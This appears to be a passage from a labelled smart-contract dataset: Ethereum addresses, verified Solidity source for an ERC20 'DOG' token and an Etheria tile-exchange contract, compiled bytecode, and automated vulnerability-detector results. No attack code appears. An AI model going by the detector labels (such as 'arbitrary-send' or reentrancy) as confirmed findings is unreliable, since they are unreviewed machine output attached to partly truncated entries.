7611b9b611b59565b500190565b600060208284031215611bb257600080fd5b815161144a81611932565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c0d5784516001600160a01b031683529383019391830191600101611be8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c4057611c40611b59565b500390565b6000816000190483118215151615611c5f57611c5f611b59565b500290565b600082611c8157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220388a8906a674b4b9fdf3bb8c1b22823118b67f6dbe6ce8c6793e9eeed045614364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,851
0x170A3af216C7f82FB5e82C437C5E1877E0a3F441
/** *Submitted for verification at Etherscan.io on 2021-05-30 */ // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // contract DogsToken is ERC20 { constructor(address initialSupplyOwner) ERC20("DOG", "DOG") { _mint(initialSupplyOwner, 1_000_000_000e8); } function decimals() public view virtual override returns (uint8) { return 8; } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006008905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea26469706673582212205d56188ec375201c1aebcbca9ae1ca15fd9592db65c25663426304654fea617464736f6c63430008040033
{"success": true, "error": null, "results": {}}
3,852
0x341db17810769e7470b22d75127c37eec44f8179
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ pragma solidity >=0.8.0 <0.9.0; interface Etheria { function getOwner(uint8 col, uint8 row) external view returns(address); function setOwner(uint8 col, uint8 row, address newOwner) external; } interface MapElevationRetriever { function getElevation(uint8 col, uint8 row) external view returns (uint8); } contract EtheriaExchangeXL_v1pt1 { address public owner; address public pendingOwner; string public name = "EtheriaExchangeXL_v1pt1"; Etheria public constant etheria = Etheria(address(0x169332Ae7D143E4B5c6baEdb2FEF77BFBdDB4011)); MapElevationRetriever public constant mapElevationRetriever = MapElevationRetriever(address(0x68549D7Dbb7A956f955Ec1263F55494f05972A6b)); uint128 public minBid = uint128(1 ether); // setting this to 10 finney throws compilation error for some reason uint256 public feeRate = uint256(100); // in basis points (100 is 1%) uint256 public collectedFees; struct Bid { uint128 amount; uint8 minCol; // shortened all of these for readability uint8 maxCol; uint8 minRow; uint8 maxRow; uint8 minEle; uint8 maxEle; uint8 minWat; uint8 maxWat; uint64 biddersIndex; // renamed from bidderIndex because it's the Index of the bidders array } address[] public bidders; mapping (address => Bid) public bidOf; // renamed these three to be ultra-descriptive mapping (address => uint256) public pendingWithdrawalOf; mapping (uint16 => uint128) public askFor; event OwnershipTransferInitiated(address indexed owner, address indexed pendingOwner); // renamed some of these to conform to past tense verbs event OwnershipTransferAccepted(address indexed oldOwner, address indexed newOwner); event BidCreated(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event BidAccepted(address indexed seller, address indexed bidder, uint16 indexed index, uint128 amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event BidCancelled(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event AskCreated(address indexed owner, uint256 indexed price, uint16 indexed index); event AskRemoved(address indexed owner, uint256 indexed price, uint16 indexed index); event WithdrawalProcessed(address indexed account, address indexed destination, uint256 indexed amount); constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "EEXL: Not owner"); _; } function transferOwnership(address newOwner) external onlyOwner { pendingOwner = newOwner; emit OwnershipTransferInitiated(msg.sender, newOwner); } function acceptOwnership() external { require(msg.sender == pendingOwner, "EEXL: Not pending owner"); emit OwnershipTransferAccepted(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); } function _safeTransferETH(address recipient, uint256 amount) internal { // Secure transfer of ETH that is much less likely to be broken by future gas-schedule EIPs (bool success, ) = recipient.call{ value: amount }(""); // syntax: (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(encoded function and data) require(success, "EEXL: ETH transfer failed"); } function collectFees() external onlyOwner { uint256 amount = collectedFees; collectedFees = uint256(0); _safeTransferETH(msg.sender, amount); } function setFeeRate(uint256 newFeeRate) external onlyOwner { // Set the feeRate to newFeeRate, then validate it require((feeRate = newFeeRate) <= uint256(500), "EEXL: Invalid feeRate"); // feeRate will revert if req fails } function setMinBid(uint128 newMinBid) external onlyOwner { minBid = newMinBid; // doubly beneficial because I could effectively kill new bids with a huge minBid } // in the event of an exchange upgrade or unforseen problem function _getIndex(uint8 col, uint8 row) internal pure returns (uint16) { require(_isValidColOrRow(col) && _isValidColOrRow(row), "EEXL: Invalid col and/or row"); return (uint16(col) * uint16(33)) + uint16(row); } function _isValidColOrRow(uint8 value) internal pure returns (bool) { return (value >= uint8(0)) && (value <= uint8(32)); // while nobody should be checking, eg, getAsk when row/col=0/32, we do want to respond non-erroneously } function _isValidElevation(uint8 value) internal pure returns (bool) { return (value >= uint8(125)) && (value <= uint8(216)); } function _isWater(uint8 col, uint8 row) internal view returns (bool) { return mapElevationRetriever.getElevation(col, row) < uint8(125); } function _boolToUint8(bool value) internal pure returns (uint8) { return value ? uint8(1) : uint8(0); } function _getSurroundingWaterCount(uint8 col, uint8 row) internal view returns (uint8 waterTiles) { require((col >= uint8(1)) && (col <= uint8(31)), "EEXL: Water counting requres col 1-31"); require((row >= uint8(1)) && (row <= uint8(31)), "EEXL: Water counting requres col 1-31"); if (row % uint8(2) == uint8(1)) { waterTiles += _boolToUint8(_isWater(col + uint8(1), row + uint8(1))); // northeast_hex waterTiles += _boolToUint8(_isWater(col + uint8(1), row - uint8(1))); // southeast_hex } else { waterTiles += _boolToUint8(_isWater(col - uint8(1), row - uint8(1))); // southwest_hex waterTiles += _boolToUint8(_isWater(col - uint8(1), row + uint8(1))); // northwest_hex } waterTiles += _boolToUint8(_isWater(col, row - uint8(1))); // southwest_hex or southeast_hex waterTiles += _boolToUint8(_isWater(col, row + uint8(1))); // northwest_hex or northeast_hex waterTiles += _boolToUint8(_isWater(col + uint8(1), row)); // east_hex waterTiles += _boolToUint8(_isWater(col - uint8(1), row)); // west_hex } function getBidders() public view returns (address[] memory) { return bidders; } function getAsk(uint8 col, uint8 row) public view returns (uint128) { return askFor[_getIndex(col, row)]; } // we provide only the land tileIndices to minimize gas usage // should we have this function at all? // function getAsks(uint16[] calldata tileIndices) external view returns (uint128[] memory asks) { // uint256 length = tileIndices.length; // asks = new uint128[](length); // for (uint256 i; i < length; ++i) { // asks[i] = askAt(tileIndices[i]); // } // } function setAsk(uint8 col, uint8 row, uint128 price) external { require(price > 0, "EEXL: removeAsk instead"); require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not tile owner"); uint16 thisIndex = _getIndex(col, row); emit AskCreated(msg.sender, askFor[thisIndex] = price, thisIndex); } function removeAsk(uint8 col, uint8 row) external { require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not tile owner"); uint16 thisIndex = _getIndex(col, row); uint128 price = askFor[thisIndex]; askFor[thisIndex] = 0; emit AskRemoved(msg.sender, price, thisIndex); // price before it was zeroed } function makeBid(uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat) external payable { require(msg.sender == tx.origin, "EEXL: not EOA"); // (EOA = Externally owned account) // Etheria doesn't allow tile ownership by contracts, this check prevents black-holing require(msg.value <= type(uint128).max, "EEXL: value too high"); require(msg.value >= minBid, "EEXL: req bid amt >= minBid"); require(msg.value >= 0, "EEXL: req bid amt >= 0"); require(bidOf[msg.sender].amount == uint128(0), "EEXL: bid exists, cancel first"); require(_isValidColOrRow(minCol), "EEXL: minCol OOB"); require(_isValidColOrRow(maxCol), "EEXL: maxCol OOB"); require(minCol <= maxCol, "EEXL: req minCol <= maxCol"); require(_isValidColOrRow(minRow), "EEXL: minRow OOB"); require(_isValidColOrRow(maxRow), "EEXL: maxRow OOB"); require(minRow <= maxRow, "EEXL: req minRow <= maxRow"); require(_isValidElevation(minEle), "EEXL: minEle OOB"); // these ele checks prevent water bidding, regardless of row/col require(_isValidElevation(maxEle), "EEXL: maxEle OOB"); require(minEle <= maxEle, "EEXL: req minEle <= maxEle"); require(minWat <= uint8(6), "EEXL: minWat OOB"); require(maxWat <= uint8(6), "EEXL: maxWat OOB"); require(minWat <= maxWat, "EEXL: req minWat <= maxWat"); uint256 biddersArrayLength = bidders.length; require(biddersArrayLength < type(uint64).max, "EEXL: too many bids"); bidOf[msg.sender] = Bid({ amount: uint128(msg.value), minCol: minCol, maxCol: maxCol, minRow: minRow, maxRow: maxRow, minEle: minEle, maxEle: maxEle, minWat: minWat, maxWat: maxWat, biddersIndex: uint64(biddersArrayLength) }); bidders.push(msg.sender); emit BidCreated(msg.sender, uint128(msg.value), minCol, maxCol, minRow, maxRow, minEle, maxEle, minWat, maxWat); } function _deleteBid(address bidder, uint64 biddersIndex) internal { // used by cancelBid and acceptBid address lastBidder = bidders[bidders.length - uint256(1)]; // If bidder not last bidder, overwrite with last bidder if (bidder != lastBidder) { bidders[biddersIndex] = lastBidder; // Overwrite the bidder at the index with the last bidder bidOf[lastBidder].biddersIndex = biddersIndex; // Update the bidder index of the bid of the previously last bidder } delete bidOf[bidder]; bidders.pop(); } function cancelBid() external { // Cancels the bid, getting the bid's amount, which is then added account's pending withdrawal Bid storage bid = bidOf[msg.sender]; uint128 amount = bid.amount; require(amount != uint128(0), "EEXL: No existing bid"); emit BidCancelled(msg.sender, amount, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat); _deleteBid(msg.sender, bid.biddersIndex); pendingWithdrawalOf[msg.sender] += uint256(amount); } function acceptBid(uint8 col, uint8 row, address bidder, uint256 minAmount) external { require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not owner"); // etheria.setOwner will fail below if not owner, making this check unnecessary, but I want this here anyway Bid storage bid = bidOf[bidder]; uint128 amount = bid.amount; require( (amount >= minAmount) && (col >= bid.minCol) && (col <= bid.maxCol) && (row >= bid.minRow) && (row <= bid.maxRow) && (mapElevationRetriever.getElevation(col, row) >= bid.minEle) && (mapElevationRetriever.getElevation(col, row) <= bid.maxEle) && (_getSurroundingWaterCount(col, row) >= bid.minWat) && (_getSurroundingWaterCount(col, row) <= bid.maxWat), "EEXL: tile doesn't meet bid reqs" ); emit BidAccepted(msg.sender, bidder, _getIndex(col, row), amount, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat); _deleteBid(bidder, bid.biddersIndex); etheria.setOwner(col, row, bidder); require(etheria.getOwner(col, row) == bidder, "EEXL: failed setting tile owner"); // ok for require after event emission. Events are technically state changes and atomic as well. uint256 fee = (uint256(amount) * feeRate) / uint256(10_000); collectedFees += fee; pendingWithdrawalOf[msg.sender] += (uint256(amount) - fee); delete askFor[_getIndex(col, row)]; // don't emit AskRemoved here. It's not really a removal } function _withdraw(address account, address payable destination) internal { uint256 amount = pendingWithdrawalOf[account]; require(amount > uint256(0), "EEXL: nothing pending"); pendingWithdrawalOf[account] = uint256(0); _safeTransferETH(destination, amount); emit WithdrawalProcessed(account, destination, amount); } function withdraw(address payable destination) external { _withdraw(msg.sender, destination); } function withdraw() external { _withdraw(msg.sender, payable(msg.sender)); } }
